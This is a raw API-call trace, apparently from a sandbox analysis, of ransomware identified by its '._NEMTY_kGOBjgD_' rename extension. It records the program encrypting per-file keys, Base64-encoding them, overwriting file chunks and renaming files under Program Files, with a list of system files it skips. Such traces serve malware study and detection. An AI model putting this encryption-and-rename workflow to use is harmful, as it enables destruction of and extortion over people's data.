RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0082.041] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="7ZZSToitH06V+fWucPrAYtcVRTulduEX1ugUR/woEtDl89CIbbJiBAYuq+9eghWE\r\n3+Mzrc8PBigt+KAEweGDnjE2PhuVkHVzzDyaT591XTwYwUywhqoi0DH+qN78DC2y\r\n+S5NjgErghY2jZZJ9EHbvxgQNWujdIkC4RrpypX5LpyHi4zZaSt/96FAR18HwPfB\r\n8bg0GfryaVI3DNX3vV1rQrgXnYFhqF7vPQXTfGIQJYj3hqy9YT5HSERHRSVNftbs\r\nexngtvOevnuNjzfRxTyzffMRFmJaHe7k4UyvLzw+95DWxcSO2gmTVMTuljefuzXn\r\nidwlHCWDBw6eJ9c/WD80UA==\r\n", pcchString=0x653ec5c) returned 1 [0082.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0082.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0082.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0082.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0082.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0082.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0082.042] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0082.042] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0082.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0082.042] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.042] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.053] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.053] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.053] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.053] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.063] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.063] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.072] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.072] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.072] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.072] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.082] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.082] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.082] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.082] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.091] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.091] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.101] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.101] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.110] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.110] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.119] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.119] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.128] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.129] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.139] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.139] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.145] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.145] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.151] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.151] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.151] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.151] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0082.151] CloseHandle (hObject=0xffffffff) returned 0 [0082.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0082.151] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0082.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0082.151] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0082.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0082.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0082.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0082.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340260 [0082.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0082.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0082.151] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp._nemty_kgobjgd_")) returned 0 [0082.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0082.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0082.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0082.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0082.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0082.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0082.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0082.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0082.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0082.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0082.152] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eae790c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eae790c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="rectangle_performance_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0082.152] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2=".") returned 1 [0082.152] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="..") returned 1 [0082.152] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="...") returned 1 [0082.152] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="windows") returned -1 [0082.152] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="$RECYCLE.BIN") returned 1 [0082.152] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="rsa") returned -1 [0082.152] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="NTDETECT.COM") returned 1 [0082.152] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="ntldr") returned 1 [0082.152] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="MSDOS.SYS") returned 1 [0082.152] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="IO.SYS") returned 1 [0082.152] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0082.152] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0082.152] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="AUTOEXEC.BAT") returned 1 [0082.152] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="ntuser.dat") returned 1 [0082.152] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="desktop.ini") returned 1 [0082.152] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="CONFIG.SYS") returned 1 [0082.152] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="RECYCLER") returned -1 [0082.152] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="BOOTSECT.BAK") returned 1 [0082.152] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0082.152] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="programdata") returned 1 [0082.152] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="appdata") returned 1 [0082.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0082.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_performance_Thumbnail.bmp", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0082.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0082.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_performance_Thumbnail.bmp", cchWideChar=35, lpMultiByteStr=0x6345608, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_performance_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 35 [0082.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0082.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94268 [0082.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_performance_Thumbnail.bmp", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0082.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0082.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_performance_Thumbnail.bmp", cchWideChar=35, lpMultiByteStr=0x6345608, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_performance_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 35 [0082.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0082.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0082.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0082.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0082.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_performance_Thumbnail.bmp", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0082.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0082.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_performance_Thumbnail.bmp", cchWideChar=35, lpMultiByteStr=0x6345608, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_performance_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 35 [0082.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0082.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0082.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_performance_Thumbnail.bmp", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0082.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0082.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_performance_Thumbnail.bmp", cchWideChar=35, lpMultiByteStr=0x6345640, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_performance_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 35 [0082.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0082.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94268 [0082.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0082.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941c0 [0082.153] Sleep (dwMilliseconds=0x5) [0082.163] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe49eaed0, dwHighDateTime=0x1d561e7)) [0082.163] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe49eaed0, dwHighDateTime=0x1d561e7)) [0082.163] GetLastError () returned 0x5 [0082.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0082.163] GetLastError () returned 0x5 [0082.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0082.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0082.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0082.164] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0082.164] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0082.164] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0082.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0082.164] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="D+jy7HEHgc6lHW1k4vIJJuuEWD5wPmMKaKJEvmD6IXFXEX1L/dcQmlTKjA15572e\r\nMG51qmg+tf+7kTJb77JmGvUZQNW3ybH6tKKylJRADFbDgFfkhcfe71gPk0goefV6\r\nAgkaQRIa/7ax2lecdlf8IcofqVAzrlKsZsBH8iEyUJoRX2yqWaJGO9OvWxvTMVoQ\r\nmbIdxWXfCrT3sau27feSNuQJSPTqSqFbSWWtnzG3MlPSi3+ZMP5CwPtWTSRIG0/4\r\nkxmxDrdeHUx50SR3WZ6E3MovrQSp8pE1KBkrdFRU0pROf4NK5MnOxJu7GIQEIlSh\r\nTetRUipcb7a5u4wXf87yXw==\r\n", pcchString=0x653ec5c) returned 1 [0082.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0082.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0082.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0082.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0082.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0082.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0082.164] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0082.164] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0082.164] RtlAllocateHeap 